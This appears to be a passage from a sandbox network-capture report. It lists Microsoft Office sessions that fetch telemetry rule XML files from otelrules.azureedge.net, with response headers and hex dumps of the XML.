2024-11-05 19:51:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49825	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:25 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f6a1aa81-001e-008d-5f60-2ed91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195125Z-158dbd74bf4zb6hghC1SN1dd7n00000004hg000000001bus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49826	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:25 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:25 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d4890277-d01e-00ad-3c4b-2ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195125Z-157b9fd754fj4mbdhC1SN1sfuc0000000510000000001cw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49827	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:26 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 48d17247-501e-00a0-2f4d-2e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195126Z-157b9fd754fj4mbdhC1SN1sfuc000000050g000000001ued x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49828	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 971e4cc3-c01e-0046-403f-2e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195126Z-158dbd74bf4f5j9khC1SN17k9n00000004a0000000004a5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: a6459842-d01e-0014-395c-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195126Z-157b9fd754f2l2w5hC1SN1vs4g00000004qg000000006w1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49829	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 6a4bbae2-b01e-0053-568e-2dcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195126Z-157b9fd754flfl4xhC1SN1waxc0000000520000000002bv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49831	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 9eee1406-f01e-0020-6e5f-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195126Z-158dbd74bf4wlzpzhC1SN10qvc00000004eg000000000ugn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49832	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:26 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:27 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 0a7a2f72-a01e-0002-3b58-2e5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195127Z-157b9fd754fqtvfchC1SN1b6mc00000004rg000000004vnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:27 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49834	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:27 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:27 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a0cc50e9-d01e-0066-4e5c-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195127Z-158dbd74bf4mjxnbhC1SN1pkws00000004kg000000002xgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:27 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49835	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:27 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:27 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: b2969781-701e-0001-0a5f-2eb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195127Z-158dbd74bf4t6ws7hC1SN1rd6c00000004h0000000003w24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:27 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49833	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:27 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4bf7326f-801e-00ac-6855-2efd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195127Z-157b9fd754ft96xrhC1SN1efqn00000004xg000000000yn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49837	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:27 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
